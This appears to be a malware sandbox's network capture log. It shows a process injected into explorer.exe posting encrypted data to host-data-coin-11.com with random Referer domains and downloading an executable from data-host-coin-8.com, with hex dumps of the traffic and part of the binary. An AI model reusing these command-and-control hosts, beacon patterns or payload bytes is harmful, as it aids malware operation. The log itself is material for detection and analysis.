Jan 14, 2022 04:59:56.836024046 CET	21804	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.3	49894	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:56.926686049 CET	21805	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ygjqjael.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 292 Host: host-data-coin-11.com
Jan 14, 2022 04:59:56.926698923 CET	21805	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de ae 66 5d 02 c8 a1 c1 64 06 87 b8 16 Data Ascii: ?2~236hTkowmFu$f]d%pl}J6R9_z_C%;i&;I^^BJm?bRMU]8%?]NCXj$Qbc@P}o$}Vc9c[^fYLbs4HxpK]
Jan 14, 2022 04:59:57.023138046 CET	21806	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 49 eb ab 85 70 bc 57 dd 40 d7 fe 26 83 22 eb c3 93 58 28 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9IpW@&"X(c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.3	49895	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:57.139410973 CET	21806	OUT	GET /files/7729_1642101604_1835.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 14, 2022 04:59:57.205228090 CET	21808	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:57 GMT Content-Type: application/x-msdos-program Content-Length: 557664 Connection: close Last-Modified: Thu, 13 Jan 2022 19:20:04 GMT ETag: "88260-5d57b92d7ebed" Accept-Ranges: bytes Data Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d6 ad 35 ab 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 24 03 00 00 2a 03 00 00 00 00 00 00 b0 06 00 00 20 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 1c 40 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 03 00 e4 01 00 00 00 80 03 00 50 29 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 29 03 00 00 80 03 00 30 06 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 61 00 00 80 01 00 00 b0 06 00 fc 78 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 ea b1 ca 4c 17 72 39 b0 91 76 39 fd 3c 69 50 d4 68 4c 5b 4b 63 b7 e2 e4 22 2c 1f e9 96 bf 6a 03 b0 68 84 c5 c0 1a bc 48 26 d2 e4 d4 9f b0 b5 74 6c 13 20 9b 02 94 70 03 00 00 00 00 00 00 00 00 00 ec 70 03 00 8c 70 03 00 a4 70 03 00 00 00 00 00 00 00 00 00 13 71 03 00 9c 70 03 00 b4 70 03 00 00 00 00 00 00 00 00 00 30 Data Ascii: MZog':(332fC'B{b+Rd:QPEL50$* `@0@@pP).idata``.pdatap@.rsrcP)0@@.didatax@gLr9v9<iPhL[Kc",jhH&tl ppppqpp0
Jan 14, 2022 04:59:57.205288887 CET	21809	IN	Data Raw: 71 03 00 ac 70 03 00 c4 70 03 00 00 00 00 00 00 00 00 00 5b 71 03 00 bc 70 03 00 d4 70 03 00 00 00 00 00 00 00 00 00 7e 71 03 00 cc 70 03 00 e4 70 03 00 00 00 00 00 00 00 00 00 9d 71 03 00 dc 70 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: qpp[qpp~qppqppp#q#qBqBqmqmqqqqqkernel32.dll~GetModuleHandleAuser32.dllKRel
Jan 14, 2022 04:59:57.205321074 CET	21810	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 84 03 00 00 94 83 03 00 68 04 00 00 00 00 00 00 00 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 42 31 00 00 42 31 00 00 00 00 00 00 00 00 00 00 db 4d 00 06 dc Data Ascii: h( B1B1MPkW^^\YWVTTTSQPkPPk]kkhwOpnNmWUSPPkXmnro
Jan 14, 2022 04:59:57.205353022 CET	21812	IN	Data Raw: 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 ff dc 50 00 fd dc 50 00 f4 dc 50 00 d6 dc 50 00 9b dc 50 00 48 dc 50 00 09 dc 50 00 Data Ascii: PPPPPPPPPPPPPPPPPPPHPPPPPPPP4PPPQUY\\\[[[ZZYYYXXWWWVVVUUTTTS
Jan 14, 2022 04:59:57.205378056 CET	21813	IN	Data Raw: ff f9 e0 ce ff f8 d9 c2 ff f8 de cb ff fc f1 e8 ff ff ff fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa e6 d9 ff ec a0 6e ff e0 60 0e ff dd 54 00 ff dd 55 00 ff dd 55 00 ff dd 54 00 ff dd 53 00 ff dc 52 00 ff dc Data Ascii: n`TUUTSRQPPPPPPQfrqponnmjyy@{(B
Jan 14, 2022 04:59:57.205445051 CET	21815	IN	Data Raw: 62 00 ff e0 62 00 ff e0 62 00 ff e0 61 00 ff e0 60 00 ff df 5e 00 ff e0 65 0a ff f0 b4 89 ff fe fb f9 ff ff ff ff ff ff ff ff ff fb ec e1 ff e9 92 57 ff de 59 01 ff df 5e 0a ff f7 d5 c0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd f7 f3 Data Ascii: bbba`^eWY^LOPPPPPO\rrqp[5daba_f?X
Jan 14, 2022 04:59:57.205497026 CET	21816	IN	Data Raw: ff e0 63 00 ff e3 70 15 ff f7 d9 c1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fc fa ff f3 c1 9d ff e2 6c 19 ff df 5a 00 ff de 5b 00 ff de 5a 00 ff de 5a 00 ff de 59 00 ff dd 55 00 ff e7 86 48 ff fe fb f8 ff ff ff ff ff fa e5 d9 ff e0 Data Ascii: cplZ[ZZYUHb~SPPPO\rrlohhgfegu'YZ
Jan 14, 2022 04:59:57.205528975 CET	21817	IN	Data Raw: fe fd ff ff ff ff ff fd fb f7 ff e4 ba 83 ff d7 99 49 ff d8 9a 4b ff d8 99 4b ff d8 99 4b ff d7 99 4b ff d7 98 4b ff d7 97 4b ff d7 97 4b ff d7 97 4d ff e9 c5 9c ff fe fc f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 e3 d1 ff d8 9a 56 Data Ascii: IKKKKKKKMVKP;y0_ONkHHiww\G\NIIIJJJJJI
Jan 14, 2022 04:59:57.205560923 CET	21819	IN	Data Raw: ff f8 ea dc ff e1 a6 68 ff dd 9b 56 ff dd 9a 55 ff dd 9d 5a ff e0 a5 68 ff e5 b4 82 ff ed cb a9 ff f7 e6 d7 ff fd fb f8 ff ff ff ff ff ff ff ff ff ff ff ff ff fe fb f8 ff ef cf b3 ff db 93 53 ff d6 83 3a ff d6 83 3c ff d6 82 3a ff da 8e 4e ff f7 Data Ascii: hVUZhS:<:N?~<~<~<~=eOOe78887?
Jan 14, 2022 04:59:57.205593109 CET	21820	IN	Data Raw: 86 32 ff e8 ac 74 ff f5 dc c4 ff fd f8 f3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fb f9 ff f7 e3 d3 ff ea b2 88 ff dc 81 3e ff d7 6e 23 Data Ascii: 2t>n#o$o%n%m%m%l%k&k&h"WPPPPP4PO\y ~ } } \| { zx*T
Jan 14, 2022 04:59:57.261990070 CET	21822	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: -(B(@ @B1B1PP

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.3	49898	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:58.628067017 CET	23225	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ijclu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: host-data-coin-11.com
Jan 14, 2022 04:59:58.628098011 CET	23226	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de ae 66 5d 02 c9 a1 c1 64 07 c3 a1 38 Data Ascii: ?2~236hTkowmFu$f]d8f}"%hfR69K.^MGqu,(2ROAnCb('qwRFX]3/74<[Mny_V#jsM"Yi^@p8Q'Te__:
Jan 14, 2022 04:59:58.713443041 CET	23376	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.3	49899	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:58.821819067 CET	23727	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://abuneept.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 197 Host: host-data-coin-11.com
Jan 14, 2022 04:59:58.823328972 CET	23730	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de af 66 5d 02 c8 a1 c1 64 38 b0 c1 2c Data Ascii: ?2~236hTkowmFu$f]d8,1rmR{*6jK@k,@7vNOAqV2IS(hfAzx&C`JH-to;tWL
Jan 14, 2022 04:59:58.906896114 CET	24169	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 01 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.3	49901	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:59.305461884 CET	24236	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://klaqrtvjum.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 305 Host: host-data-coin-11.com
Jan 14, 2022 04:59:59.305475950 CET	24236	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de ac 66 5d 02 c8 a1 c1 64 31 ba cd 31 Data Ascii: ?2~236hTkowmFu$f]d11QU?AW2_g>J?A$YL_QmCT"/-F97V2Y9q!^J*gRo>(k2f/B%FVB9%)i!S#^~rFaY[E
Jan 14, 2022 04:59:59.407845974 CET	24238	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.3	49902	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:59.538599968 CET	24239	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://veccr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 115 Host: host-data-coin-11.com
Jan 14, 2022 04:59:59.538654089 CET	24240	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de ad 66 5d 02 c8 a1 c1 64 1e b3 90 2a Data Ascii: ?2~236hTkowmFu$f]d*GBwq]YvH?z"\|iC
Jan 14, 2022 04:59:59.624722004 CET	24240	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.3	49903	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:59.716902018 CET	24242	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://egxhxygmwb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: host-data-coin-11.com
Jan 14, 2022 04:59:59.716916084 CET	24242	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de aa 66 5d 02 c8 a1 c1 64 53 b4 91 13 Data Ascii: ?2~236hTkowmFu$f]dSYi9NND#R(X@ZFo4#*I1B3C-r=EO 3%Q>+@zA;l^y?#RV
